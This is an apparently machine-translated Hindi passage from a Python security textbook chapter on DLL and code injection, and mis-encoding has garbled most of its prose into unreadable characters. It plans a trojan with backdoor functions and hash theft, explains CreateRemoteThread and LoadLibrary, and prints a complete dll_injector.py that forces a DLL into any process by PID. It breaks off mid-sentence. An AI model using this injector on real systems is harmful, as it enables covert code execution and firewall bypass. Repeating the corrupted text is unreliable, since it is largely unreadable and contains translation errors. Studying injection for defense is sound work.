рдЧреНрд░реЗ рд╣реИрдЯ рдкрд╛рдпрдерди - рдбреАрдПрд▓рдПрд▓ рдФрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди

рдкрд╣рдЪрд╛рди


рдХрднреА-рдХрднреА, рдЬрдм рдЖрдк рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд░рд┐рд╡рд░реНрд╕ рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ рд╣рдорд▓рд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрдзреНрдпрдпрди рдХреЗ рддрд╣рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реИред рдЪрд╛рд╣реЗ рдЖрдк рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рдЪреБрд░рд╛ рд▓реЗрдВ рдпрд╛ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдХреЗ рджреВрд░рд╕реНрде рдбреЗрд╕реНрдХрдЯреЙрдк рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдФрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рдо рдХреБрдЫ рд╕рд░рд▓ рдкрд╛рдпрдерди рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдЖрдкрдХреЛ рджреЛрдиреЛрдВ рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпреЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ, рдХрд╛рд░рдирд╛рдореЛрдВ, рд╢реЗрд▓ рдХреЛрдбреЛрдВ рдФрд░ рдкрдВрдЪрдХреЛрдВ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛ рдХреЗ рд╢рд╕реНрддреНрд░рд╛рдЧрд╛рд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рд╣рдо рдПрдХ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдкреЙрдкрдЕрдк рд╡рд┐рдВрдбреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DLL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рд╣рдо PID рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЕрдзреНрдпрд╛рдп рдХреЗ рдЕрдВрдд рдореЗрдВ, рд╣рдо рдкрд╛рдпрдерди рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд▓рд┐рдЦреЗ рдЧрдП рдЯреНрд░реЛрдЬрди (рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде) рдХрд╛ рд╕рдВрдХрд▓рди рдФрд░ рд╕рдВрдХрд▓рди рдХрд░реЗрдВрдЧреЗред рдЕрдзрд┐рдХ рд╣рдж рддрдХ, рд╡рд╣ рдХреЛрдб рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЫрд┐рдкреА рд╣реБрдИ рд░рдгрдиреАрддрд┐ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ рдЬреЛ рдХрд┐ рд╣рд░ рдЕрдЪреНрдЫреЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪрд▓реЛ рд░рд┐рдореЛрдЯ рдереНрд░реЗрдб рдмрдирд╛рдиреЗ рдХреЗ рд╡рд┐рд╖рдп рдХреЛ рджреЗрдЦрдХрд░ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рджреЛрдиреЛрдВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдзрд╛рд░ рд╣реИрдВред

7.1 рд░рд┐рдореЛрдЯ рдереНрд░реЗрдб рдмрдирд╛рдирд╛


DLL рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмреАрдЪ рдХреБрдЫ рдкреНрд░рдореБрдЦ рдЕрдВрддрд░ рд╣реИрдВ, рд╣рд╛рд▓рд╛рдВрдХрд┐, рджреЛрдиреЛрдВ рддрд░реАрдХреЛрдВ рдХреЛ рдПрдХ рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рдПрдХ рджреВрд░рд╕реНрде рдзрд╛рдЧрд╛ рдмрдирд╛рдХрд░ред рд░рд┐рдореЛрдЯ рдереНрд░реЗрдб CreateRemoteThread () рдлрд╝рдВрдХреНрд╢рди [1] рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдХрд┐ Win32 API рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рдЬреЛ рдХрд┐ kern32.dll рд╕реЗ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡рд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рд╣реИ:

HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); 

рдЪрд┐рдВрддрд╛ рди рдХрд░реЗрдВ, рдЙрд╕рдХреЗ рдХрдИ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ рд╕рднреА рд╕рд╣рдЬ рд╣реИрдВред рдкрд╣рд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░, hProcess, рдЖрдкрдХреЛ рдкрд░рд┐рдЪрд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдзрд╛рдЧрд╛ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред LpThreadAttributes рдкреИрд░рд╛рдореАрдЯрд░ рдмрд╕ рдирдП рдмрдирд╛рдП рдЧрдП рдереНрд░реЗрдб рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдереНрд░реЗрдб рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЛ рдЪрд╛рдЗрд▓реНрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рдо рдЗрд╕рдХрд╛ рдорд╛рди NULL рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВрдЧреЗ, рдЬреЛ рдПрдХ рдЧреИрд░-рд╡рд┐рд░рд╛рд╕рдд рд╡рд╛рд▓реА рд╕реНрдЯреНрд░реАрдо рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдФрд░ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реБрд░рдХреНрд╖рд╛ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рджреЗрдЧрд╛ред DwStackSize рдкреИрд░рд╛рдореАрдЯрд░ рдмрд╕ рдмрдирд╛рдП рдЬрд╛ рд░рд╣реЗ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд╕реНрдЯреИрдХ рдЖрдХрд╛рд░ рдХреЛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рд╣рдо рдЗрд╕реЗ рд╢реВрдиреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВрдЧреЗ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдХрд╛рд░ рджреЗрдЧрд╛ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдирд┐рдореНрди lpStartAddress рдкреИрд░рд╛рдореАрдЯрд░ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕реНрдореГрддрд┐ рдореЗрдВ рдереНрд░реЗрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд╣рд╛рдБ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдЧрд╛ред рдЗрд╕ рдкрддреЗ рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реЗрдЯ рдХрд░рдирд╛ рдмреЗрд╣рдж рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рддрд╛рдХрд┐ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред рдЕрдЧрд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░, lpParametr, рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреА рддрд░рд╣ рд╣реА рд▓рдЧрднрдЧ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдЪрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ lpStartAddress рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдЯреНрд░реАрдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкрд╣рд▓реА рдмрд╛рд░ рднреНрд░рд╛рдордХ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдмрд╣реБрдд рдЬрд▓реНрдж рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ DLL рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП рдХрд┐рддрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред DwCreationFlags рдкреИрд░рд╛рдореАрдЯрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдереНрд░реЗрдб рдХреИрд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рдо рдЗрд╕реЗ рд╣рдореЗрд╢рд╛ рд╢реВрдиреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдирд┐рд░реНрдорд╛рдг рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдзрд╛рдЧреЗ рдХреЛ рддреБрд░рдВрдд рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред DwCreationFlags рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдореВрд▓реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП MSDN рдкреНрд░рд▓реЗрдЦрди рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдВрддреНрд░ рдорд╣рд╕реВрд╕ рдХрд░реЗрдВред LpThreadId рдкреИрд░рд╛рдореАрдЯрд░ рдЕрдВрддрд┐рдо рд╣реИред рдпрд╣ рдирдП рдмрдирд╛рдП рдЧрдП рд╕реНрдЯреНрд░реАрдо рдХреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (рдЖрдИрдбреА) рд╕реЗ рдЖрдмрд╛рдж рд╣реИред

рдЕрдм рдЬрдм рдЖрдк рдЗрдВрдЬреЗрдХреНрдЯ рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдореБрдЦреНрдп рдХреЙрд▓ рдХреЛ рд╕рдордЭрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо DLL рдХреЛ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдореБрджреНрджреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВрдЧреЗ, рдФрд░ рдлрд┐рд░ рдзреАрд░реЗ-рдзреАрд░реЗ рд╢реЗрд▓ рдХреЛрдб рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝реЗрдВрдЧреЗред рджреВрд░рд╕реНрде рд╕реНрдЯреНрд░реАрдо рдмрдирд╛рдиреЗ рдФрд░ рдЕрдВрддрддрдГ рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛, рдкреНрд░рддреНрдпреЗрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдорд▓реЗ (DLL рдФрд░ рд╢реЗрд▓ рдХреЛрдб рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди) рдХреЗ рд▓рд┐рдП рдереЛрдбрд╝реА рдЕрд▓рдЧ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рд╕рднреА рдЕрдВрддрд░реЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдмрд╛рд░ рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВрдЧреЗред

7.1.1 DLL рдЗрдВрдЬреЗрдХреНрд╢рди

DLL рдХреА рд╢реБрд░реВрдЖрдд рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдЕрдЪреНрдЫреЗ рдФрд░ рдмреБрд░реЗ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреА рдЬрд╛рддреА рд░рд╣реА рд╣реИред рдЖрдк рдЬрд╣рд╛рдВ рднреА рджреЗрдЦреЗрдВрдЧреЗ, рдЖрдкрдХреЛ рд╣рд░ рдЬрдЧрд╣ рдПрдХ DLL рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ред рдЖрдкрдХреА рдмреИрдВрдХрд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЪреЛрд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдВрдбреЛрдЬ рд╢реЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рд▓реЗрдХрд░ рдореИрд▓рд╡реЗрдпрд░ рддрдХред DLL рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣рд░ рдЬрдЧрд╣ рд╣реИред рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдЙрддреНрдкрд╛рдж рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ DLL рдХреЛ рддреИрдирд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдбреАрдПрд▓рдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдкреВрд░реНрдг рдЙрджреНрджреЗрд╢реНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдлрд╛рдпрд░рд╡реЙрд▓ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдХреЗрд╡рд▓ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдЖрдЙрдЯрдЧреЛрдЗрдВрдЧ рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╣рдо рдкрд╛рдпрдерди рдореЗрдВ рдПрдХ DLL рдЗрдВрдЬреЗрдХреНрдЯрд░ рд▓рд┐рдЦрддреЗ рд╕рдордп рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдереЛрдбрд╝рд╛ рд╢реЛрдз рдХрд░реЗрдВрдЧреЗ, рдЬреЛ рд╣рдореЗрдВ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ DLL рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ рдЬреЛ рд╣рдо рдЪреБрдирддреЗ рд╣реИрдВред

Windows рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ DLL рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ LoadLibrary () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ kern32.dll рд╕реЗ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡рд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рд╣реИ:

 HMODULE LoadLibrary( LPCTSTR lpFileName ); 

LpFileName рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗрд╡рд▓ рдЙрд╕ DLL рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рд▓реЛрдб рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рд╣рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рд▓реЛрдбрдПрд▓рдпреВрдПрд▓рдП рдХреЛ рдПрдХ рд╕реВрдЪрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд▓реЛрдб рдбреАрдПрд▓рдПрд▓ рдХреЗ рд▓рд┐рдП рдкрде рд╡рд╛рд▓реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рдеред рдкрд╣рд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рд▓реЛрдбрд▓реЙрдЙрдбреНрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реИред рдлрд┐рд░ рднрд░реА рд╣реБрдИ DLL рдХрд╛ рдирд╛рдо рд▓рд┐рдЦреЗрдВред рдЬрдм рд╣рдо CreateRemoteThread () рдХрд╣рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо lpStartAddress рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ LoadLibraryA рдХрд╛ рд╕реНрдерд╛рди рдкрддрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВрдЧреЗ, рдФрд░ рд╣рдо "рдкрде (рдирд╛рдо) рдХрд╛ рд╕реНрдерд╛рди рдкрддрд╛ lpStarameter рдореЗрдВ рдкреНрд▓реЗрд╕ рдХрд░реЗрдВрдЧреЗред рдЬрдм CreateRemoteThread () рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд▓реЛрдбрд▓реЗрдпреБрдбрд╛ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬреИрд╕реЗ рдХрд┐ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдиреЗ DLL рдХреЛ рд╕реНрд╡рдпрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдерд╛ред

рдиреЛрдЯ: рдкрд░реАрдХреНрд╖рдг рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП DLL рдЗрд╕ рдкреБрд╕реНрддрдХ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рд╕рдВрдЧреНрд░рд╣ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдк www.nostarch.com/ghpython.htm рдкрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред DLL рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХреЛрдб рднреА рдЕрдВрджрд░ рд╣реИред

рдХреЛрдб рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред рдПрдХ рдирдпрд╛ рдкрд╛рдпрдерди рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ dll_injector.py рдирд╛рдо рджреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВред

dll_injector.py
 import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) (#1): # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) (#2): # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) (#3): # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") (#4): # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value 

рдкрд╣рд▓реЗ рдЪрд░рдг (# 1) рдкрд░, рдЖрдкрдХреЛ рдПрдореНрдмреЗрдбреЗрдб DLL рдХреЗ рдкрде рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕ рдкрде рдХреЛ рдирдИ рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА (# 2) рдореЗрдВ рд▓рд┐рдЦреЗрдВред рдлрд┐рд░ рд╣рдореЗрдВ рдЗрд╕реЗ CreateRemoteThread () (# 4) рдлрд╝рдВрдХреНрд╢рди рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП LoadLibraryA (# 3) рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЬреИрд╕реЗ рд╣реА рдирд┐рд░реНрдорд┐рдд 